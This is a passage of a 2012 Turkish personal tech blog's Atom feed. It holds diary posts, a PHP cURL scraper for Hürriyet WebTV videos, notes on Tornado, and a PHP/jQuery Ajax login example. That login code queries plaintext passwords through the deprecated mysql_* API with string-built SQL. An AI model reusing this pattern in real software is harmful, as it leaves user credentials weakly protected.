class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-5913122943733109799?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/5913122943733109799/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/global-game-jam-2012-izmir.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5913122943733109799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5913122943733109799'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/global-game-jam-2012-izmir.html' title='Global Game Jam 2012 - İzmir'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-l496cQEBDwA/TyZEACffqFI/AAAAAAAAAOg/NSXLt15uLOI/s72-c/710491_detay.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8316478202344333248</id><published>2012-01-25T13:46:00.001-08:00</published><updated>2012-01-25T13:47:18.575-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amk'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Değişim mi?</title><content type='html'>Şu sıralarda hayatımdan çıkarmam gereken bazı kötü alışkanlıkların hesabını vermekteyim. Eski günlerde olduğu gibi hiçbir şeyin bağımlısı olmamak gerekir. İlgilenmem gereken şeylerle daha çok ilgileneceğim. Ne biliyim, biraz daha fazla müzik dinleyeceğim. Hemde hiç duymadığım tarzlarda müzikler. Futbol izleyeceğim, ama şunu unutma seni aklıma getirmeyeceğim. Lan bu aklıma getirmeyeceğim dediğim şey lanet olası sevgilim felan değil yanlış anlamayın. Bir kız için bu kadar aşağılamam kendimi raaaad olun. Kendi bildiğim ve bu yazıyı okuyan tanıdıklarımın merak etmesini istediğim bir sır.&lt;br /&gt;&lt;br /&gt;Büyük değişim 2012'nin ilk ayı bitmeden başlıyor. Artık farklı bir insan olmaya karar verdim. Farklı derken, kötü alışkanlıklarından arınmış bir insan. Özünü inkar edipte avrupalı gibi modern görünen yobaz kesme dönüşmeyeceğim emin olun. Beni iyi gören insanlar için dün neysem bugünde öyleyim. Bu mesajın gitmesi gereken mecralara gideceğini umuyorum. Sen yanlış tanıdın beni. Ve lanet olası çevrende yanlış tanıyor bu kötü alışkanlıklarım nedeniyle. (İşte burda laf eski bir sevgiliye gidebilir :P). Evet sana, sanada değil çevrene hepinize alayınıza diyorum. Gün gelecek ve yanlış tanıdığınız her gün için bu yazıyı okuyup seni yanlış tanıdığımız için özür dilemeliydik, kahroluyoruz lütfen ama lütfen biz yaptık sen yapma diyerek ayaklarıma kapanacağınız günün hayalini kuruyorum. Biraz sert mi girdim ne, tamam sakinim yok birşey.&lt;br /&gt;&lt;br /&gt;İşin özeti yakında büyük değişimi göreceksiniz. Beni yakından takip eden, yanımda olan (real anlamda) sevgili arkadaşlarıma ve kamuoyuna saygıyla sunulur. Esen kalınız.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Dipnot: Felaket yağmur yağıyor İzmir'de. Ne güzel hava lan :D&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8316478202344333248?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8316478202344333248/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/degisim-mi.html#comment-form' title='2 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8316478202344333248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8316478202344333248'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/degisim-mi.html' title='Değişim mi?'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-2293357904878713147</id><published>2012-01-23T00:20:00.000-08:00</published><updated>2012-01-23T00:25:11.161-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php'de bot örneği - Hürriyet Webtv</title><content type='html'>Hürriyet için yazmış olduğum php bot. cURL ile hürriyetin webtv sayfasından herhangi bir link veriyorsunuz ve bot sayfada ki tüm videoları bulup bilgilerini ekrana getiriyor.&lt;br /&gt;&lt;br /&gt;Kodlar aşağıda.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/* coded by Gökhan KAYA &lt;br /&gt; * artiktek.blogspot.com&lt;br /&gt; **/&lt;br /&gt;&lt;br /&gt;// videoların çekileceği sayfa&lt;br /&gt;$link = "http://webtv.hurriyet.com.tr/videodetay.aspx?pid=1&amp;cid=2";&lt;br /&gt;&lt;br /&gt;// curl fonksiyonu&lt;br /&gt;function cek($url, $post=false){&lt;br /&gt; $user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6';&lt;br /&gt; $ch = curl_init();&lt;br /&gt; curl_setopt($ch, CURLOPT_URL, $url);&lt;br /&gt; curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt; curl_setopt($ch, CURLOPT_POST, $post ? true : false);&lt;br /&gt; curl_setopt($ch, CURLOPT_POSTFIELDS, $post ? $post : false);&lt;br /&gt; curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);&lt;br /&gt; $icerik = curl_exec($ch);&lt;br /&gt; curl_close($ch);&lt;br /&gt; return $icerik;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// video sayfasının linki&lt;br /&gt;$kaynak = cek($link);&lt;br /&gt;&lt;br /&gt;// linkleri al&lt;br /&gt;preg_match_all('#&amp;lt;div class="WebtvFavoriteTab"&amp;gt;(.*?)&amp;lt;/div&amp;gt;#si',$kaynak, $cikti);&lt;br /&gt;$yeni_kaynak = implode($cikti[0]);&lt;br /&gt;preg_match_all('#&amp;lt;a href=\'(.*?)\'&amp;gt;#si',$yeni_kaynak, $son_cikti);&lt;br /&gt;&lt;br /&gt;$linkler = $son_cikti[1];&lt;br /&gt;&lt;br /&gt;// linkleri döndür&lt;br /&gt;foreach($linkler as $key=&amp;gt;$value){&lt;br /&gt; $parca = explode('/', $value);&lt;br /&gt; $videoId = $parca[4];&lt;br /&gt; &lt;br /&gt; // xml dosyasından ilgili videonun id'si ile bilgilerini cek&lt;br /&gt; $bilgiler = 'http://webtv.hurriyet.com.tr/XML/HurMedyaVideosFB.aspx?vid='.$videoId;&lt;br /&gt; $xml = new simpleXMLElement($bilgiler, NULL,TRUE);&lt;br /&gt; foreach($xml-&amp;gt;Video as $value){&lt;br /&gt;  &lt;br /&gt;  if ($value-&amp;gt;HDVideoUrl == '') { &lt;br /&gt;   $hdUrl = 'Hd video girilmemiş.';&lt;br /&gt;  }else{&lt;br /&gt;   $hdUrl = $value-&amp;gt;HDVideoUrl;&lt;br /&gt;  }&lt;br /&gt;  echo "&amp;lt;strong&amp;gt;Title :&amp;lt;/strong&amp;gt; ".mb_convert_case($value-&amp;gt;Title, MB_CASE_TITLE, "UTF-8")."\n";&lt;br /&gt;  echo "&amp;lt;strong&amp;gt;Desc :&amp;lt;/strong&amp;gt; ".$value-&amp;gt;Description."\n"; &lt;br /&gt;  echo "&amp;lt;strong&amp;gt;Video Path :&amp;lt;/strong&amp;gt; &amp;lt;a href='".$value-&amp;gt;Url."' target=\"_blank\"&amp;gt;".$value-&amp;gt;Url."\n";&lt;br /&gt;  echo "&amp;lt;strong&amp;gt;Hd Video Path :&amp;lt;/strong&amp;gt; ".$hdUrl."\n";&lt;br /&gt;  echo "&amp;lt;strong&amp;gt;Video Image :&amp;lt;/strong&amp;gt; &amp;lt;a href='".$value-&amp;gt;ImageUrl."' target=\"_blank\"&amp;gt;".$value-&amp;gt;ImageUrl."&amp;lt;/a&amp;gt;\n";&lt;br /&gt;  echo "&amp;lt;hr /&amp;gt;";&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-2293357904878713147?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/2293357904878713147/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/phpde-bot-ornegi-hurriyet-webtv.html#comment-form' title='3 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2293357904878713147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2293357904878713147'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/phpde-bot-ornegi-hurriyet-webtv.html' title='Php&apos;de bot örneği - Hürriyet Webtv'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-5947610339426037528</id><published>2012-01-22T12:57:00.000-08:00</published><updated>2012-01-30T06:24:31.478-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='müzik'/><title type='text'>Coldplay - Paradise</title><content type='html'>Bu aralar sıkça dinlediğim parça. Bu yabancılar işi biliyor..&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/1G4isv_Fylg" width="530"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-5947610339426037528?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/5947610339426037528/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/coldplay-paradise.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5947610339426037528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5947610339426037528'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/coldplay-paradise.html' title='Coldplay - Paradise'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/1G4isv_Fylg/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-4929859016935743900</id><published>2012-01-22T08:58:00.000-08:00</published><updated>2012-01-22T12:18:18.329-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - Ajax ve Json - From ve Validation olayları</title><content type='html'>Selamlar,&lt;br /&gt;&lt;br /&gt;Yeni nesil sitelerde artık ajax ve jsonlar kullanılıyor. Json nedir diyecek olursanız, xml gibi düşünülebilir fakat, xml'e oranla daha çok veri alışverişi için tasarlanmış veri biçimlendirme yöntemidir. xml'e oranla jsonlar daha az yer kaplar.&lt;br /&gt;&lt;br /&gt;Php - Ajax - Json üçlemini anlatan ufak bir login işlemi örneği yaptım. Mantık şu şekilde; front-end.html dosyasında bulunan form jquery ile serialize() sayesinde back-end-ajax.php dosyına post ediliyor. Bu php dosyasında validate işlemleri, bilgilerin doğruluğu vs. yapılıyor ve $jsonData dizisi json çıktısı şeklinde ekrana basılıyor. Tekrar front-end.html dosyası post'dan dönen bu json çıktıyı alıyor ve işliyor.&lt;br /&gt;&lt;br /&gt;Kodlar aşağıda.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;front-end.html&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:html"&gt;&amp;lt;div id="ajaxResponse"&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;form method="post" acion="back-end-ajax.php" id="ajaxForm"&amp;gt;&lt;br /&gt; Email : &amp;lt;input type="text" name="email" /&amp;gt;&lt;br /&gt; Password : &amp;lt;input type="password" name="password" /&amp;gt;&lt;br /&gt; &amp;lt;input type="submit" value="Gönder" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt; &lt;br /&gt;&amp;lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" &amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt; &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;$(document).ready(function(){&lt;br /&gt; &lt;br /&gt; // ajaxForm submit edilirse&lt;br /&gt; $('#ajaxForm').submit(function() {&lt;br /&gt;  $.ajax({&lt;br /&gt;   type: 'POST',&lt;br /&gt;   url: 'back-end-ajax.php', // ajax.php'ye gönderilecek&lt;br /&gt;   data: $(this).serialize(), // serialize(), ilgili formda bulunan herÅŸeyi gÃ¶nderir.&lt;br /&gt;   dataType: 'json', // data tipi json&lt;br /&gt;   success: function(response){&lt;br /&gt; &lt;br /&gt;    // her durumda message döneceği için ajaxResponse divine içeriği bastır&lt;br /&gt;    $('#ajaxResponse').html(response.message);&lt;br /&gt; &lt;br /&gt;    // duruma göre inputları sil ve sayfayı yenile&lt;br /&gt;    if (response.status == 'success'){&lt;br /&gt;     $('.input').val('');&lt;br /&gt;     location.href="./";&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt;  });&lt;br /&gt; &lt;br /&gt;  // return false eklenmelidir. yoksa standart bir şekilde form post işlemi yapılır.&lt;br /&gt;  return false;&lt;br /&gt; });&lt;br /&gt;});&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;back-end-ajax.php&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;// coded by artiktek.blogspot.com&lt;br /&gt;&lt;br /&gt;// inputlar girilir&lt;br /&gt;if ($_POST['email'] &amp;amp;&amp;amp; $_POST['password']){&lt;br /&gt; &lt;br /&gt; // değişkenler&lt;br /&gt; $email = htmlspecialchars(mysql_real_escape_string($_POST['email']));&lt;br /&gt; $password = htmlspecialchars(mysql_real_escape_string($_POST['password']));&lt;br /&gt; $jsonData = array();&lt;br /&gt;&lt;br /&gt; // email validation&lt;br /&gt; if (!preg_match('/^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/', $email)){&lt;br /&gt;  $jsonData['status'] = 'fail';&lt;br /&gt;  $jsonData['message'] = 'Geçerli bir email adresi girin. Örn: isim@example.com';&lt;br /&gt;  echo json_encode($jsonData);&lt;br /&gt;  exit;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; // login işlemi&lt;br /&gt; $sorgu = mysql_num_rows(mysql_query("select * from ornek sorgu where `email` = '$email' and `password`= '$password'"));&lt;br /&gt;&lt;br /&gt; if ($sorgu &amp;gt; 0){&lt;br /&gt;  $jsonData['status'] = 'success';&lt;br /&gt;  $jsonData['message'] = 'Giriş başarılı.';&lt;br /&gt;  echo json_encode($jsonData);&lt;br /&gt;  exit;&lt;br /&gt; }else{&lt;br /&gt;  $jsonData['status'] = 'error';&lt;br /&gt;  $jsonData['message'] = 'Hatalı giriş.';&lt;br /&gt;  echo json_encode($jsonData);&lt;br /&gt;  exit;&lt;br /&gt; }&lt;br /&gt;}else{&lt;br /&gt;&lt;br /&gt; $jsonData['status'] = 'success';&lt;br /&gt; $jsonData['message'] = 'Tüm alanları doldurunuz.';&lt;br /&gt; echo json_encode($jsonData);&lt;br /&gt; exit;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-4929859016935743900?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/4929859016935743900/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-ajax-ve-json-from-ve-validation.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4929859016935743900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4929859016935743900'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-ajax-ve-json-from-ve-validation.html' title='Php - Ajax ve Json - From ve Validation olayları'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-159527446738275427</id><published>2012-01-21T16:25:00.000-08:00</published><updated>2012-01-21T16:25:48.591-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><title type='text'>Gerçek Zamanlı Güncellemeler - Tornado</title><content type='html'>Friendfeed, facebook gibi sitelerin tutma nedenlerinden birtanesi de gerçek zamanlı güncellemelerdir. Bir yoruma atılan cevap yorumu, anlık ileti, mesajlar vs. sayfa yenilenmeden hareketlenince kullanıcının baya bir ilgisini çekmekte. Bu tarz işlemlerde biz programcılarda heyecanlanırız. İşte bu muazzam teknolojinin altında Python programlama dili yatmakta ve adı&amp;nbsp;&lt;a href="http://www.tornadoweb.org/"&gt;Tornado&lt;/a&gt;. Friendfeed geliştiricilerinin yazmış olduğu bu web sunucusu ile gerçek zamanlı güncelleme işlemleri çok kolay yapılmakta. Ekstra bilgi; Friendfeed, facebook tarafından satın alındı. Satın alınma işleminden sonra gerçek zamanlı güncellemeler facebook'ta daha sık kullanılmaya başladı.&amp;nbsp;Ve tornadoyu geliştiren ekip kısa bir zamana önce açık kaynak dünyasına sundular tornadoyu. Dileyen &lt;a href="http://www.tornadoweb.org/"&gt;bu adresten&lt;/a&gt;&amp;nbsp;indirip linuxlarında kurabilirler. İçerisinde çeşitli örneklerde bulunmakta. Ben testleri yaptım. Gerçekten muazzam. Chat uygulamasından, gerçek zamanlı blog uygulamasına kadar örnekler bulunmakta.&lt;br /&gt;&lt;br /&gt;Tornado genel olarak, aynı anda binlerce bağlantının sağlanması ve bu sayede gerçek zamanlı web güncellemelerinin rahat bir şekilde sağlanması için tasarlanmış. Tornado aynı zamanda, python ile yazılmış web geliştirme framework'leri ile (django, google web app) ile çalışmaktadır.&lt;br /&gt;&lt;br /&gt;Facebook, friendfeed gibi siteleri sadece php, mysql ile yapmak mümkün değil. Gerçek zamanlı güncellemeler ve performans için python, tornado, xcache gibi sistemlerin kullanılması gerekiyor. Facebook kullandığı teknolojileri teker teker açık kaynak kod dünyasına kazandırıyor. (&lt;a href="http://developers.facebook.com/opensource/"&gt;http://developers.facebook.com/opensource/&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Tornado hakkında daha fazla bilgi için; Friendfeed kurucusu ve facebook ürün yöneticisi olan Bret Taylor'un &lt;a href="http://backchannel.org/blog/tornado"&gt;yazısını&lt;/a&gt; okuyabilirsiniz. Kaynak kod ve belgeler için&amp;nbsp;&lt;a href="https://github.com/facebook/tornado"&gt;https://github.com/facebook/tornado&lt;/a&gt;&amp;nbsp;bu adrese bakabilirsiniz.&lt;br /&gt;&lt;br /&gt;Bu gerçek zamanlı güncellemelere fena kafa yoruyorum. Python kullanmak zevkli fakat, biraz sorunlar çıkarabiliyor. O yüzden php'de kullanabileceğimiz birşeyler geliştirmem gerekiyor. Bakalım :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-159527446738275427?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/159527446738275427/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/gercek-zamanl-guncellemeler-tornado.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/159527446738275427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/159527446738275427'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/gercek-zamanl-guncellemeler-tornado.html' title='Gerçek Zamanlı Güncellemeler - Tornado'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-2641147357824044061</id><published>2012-01-17T11:32:00.001-08:00</published><updated>2012-01-30T06:24:17.806-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='belgesel'/><title type='text'>BBC - Facebook Belgeseli</title><content type='html'>BBC'nin hazırladığı 48 dk'lık Kapalı kapılar ardında Facebook belgeseli (Türkçe dublaj). İzlemeye değer.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;Ayrıca; Google belgeselini izlemek için &lt;a href="http://artiktek.blogspot.com/2012/01/national-geographic-google-dunyas.html"&gt;tıklayınız&lt;/a&gt;.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/LVr3zlyX0X4" width="530"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-2641147357824044061?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/2641147357824044061/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/bbc-facebook-belgeseli.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2641147357824044061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2641147357824044061'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/bbc-facebook-belgeseli.html' title='BBC - Facebook Belgeseli'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/LVr3zlyX0X4/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3958120207426251371</id><published>2012-01-17T11:21:00.000-08:00</published><updated>2012-01-30T06:24:22.803-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='belgesel'/><title type='text'>National Geographic - Google Dünyası</title><content type='html'>45 dk'lık National Geographic'in hazırlamış olduğu Google belgeseli (Türkçe dublajdır). İzlemeye değer.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;Ayrıca; Facebook belgeselini izlemek için&amp;nbsp;&lt;a href="http://artiktek.blogspot.com/2012/01/bbc-facebook-belgeseli.html"&gt;tıklayınız&lt;/a&gt;.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/wKz83EYT3CY" width="530"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3958120207426251371?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3958120207426251371/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/national-geographic-google-dunyas.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3958120207426251371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3958120207426251371'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/national-geographic-google-dunyas.html' title='National Geographic - Google Dünyası'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/wKz83EYT3CY/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-1459750556970971968</id><published>2012-01-15T04:18:00.000-08:00</published><updated>2012-01-15T04:19:59.749-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amk'/><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Saçma sapan konular - vol1</title><content type='html'>Son zamanlarda düşünmekte olduğum sektörel konular.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Konu 1&lt;/b&gt;,&lt;br /&gt;Html5'in çıkmasıyla birlikte web sitesi yapmak artık daha da bir zorlaşacak. Html5'e tam anlamıyla geçemeyen kişiler bu meslekten elenecek. Piyasaya tutunamayacaklar. Ama Türkiye'deyiz. Html5'e ne kadar değer verilir bilemiyorum. Bizim insanımız bir tuhaf olduğu için, bilgisayar teknolojilerinde yeniliklere her daim taş koyarlar. O yüzden bu konulara her zaman olduğu gibi, çok geç gireceğiz ve keşke zamanında girmiş olaydık ak. diyeceğiz.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Konu 2&lt;/b&gt;,&lt;br /&gt;Php, c'den sonra profesyonel anlamda ilk göz ağrım olsa da, son dönemlerde python'un yaptıklarının karşısında ezik gözlerle bakıyorum php'ye. Örneğin, django ile ufak bir kaç işlem yaptım. Route işlemleri filan bizim Codeigniter framework'e yüz bin basar. Hem siteler hızlı çalışıyor, hem de admin panelini hazır olarak üretilmesi olayı koparıyor. Php'de 10 satırda yazdığın bir fonksiyonu, Python'da 3 satırda yazabiliyosun o derece güzellikleri var. Bilmiyorum üstüne düşmem gerekebilir. Daha iyi para kazandıracak bir dil Python. Hem masaüstü, hem de konsol uygulamalarıda geliştirebiliriz. Web projelerini daha hızlı, ve daha zevkli yapmak için php yerine python öğrenmenin gerektiğine canı yüretken inanırım ben. Pardus (Linux) projesinin de bir çok bölümünün python ile yazıldığını okumuştum. Hatta geliştiricileri, Pardus eğer bir kısaltma olsaydı, başında bulunan P harfi Python'a denk gelirdi diyor. Baya bi etkiledi bu beni. Python aynı zamanda, Google, Nasa, Cern, Youtube, Facebook (facebook php diyeceksiniz ama, developer sitesinde pythonla ilgili bir çok örnek var. friendfeed'i 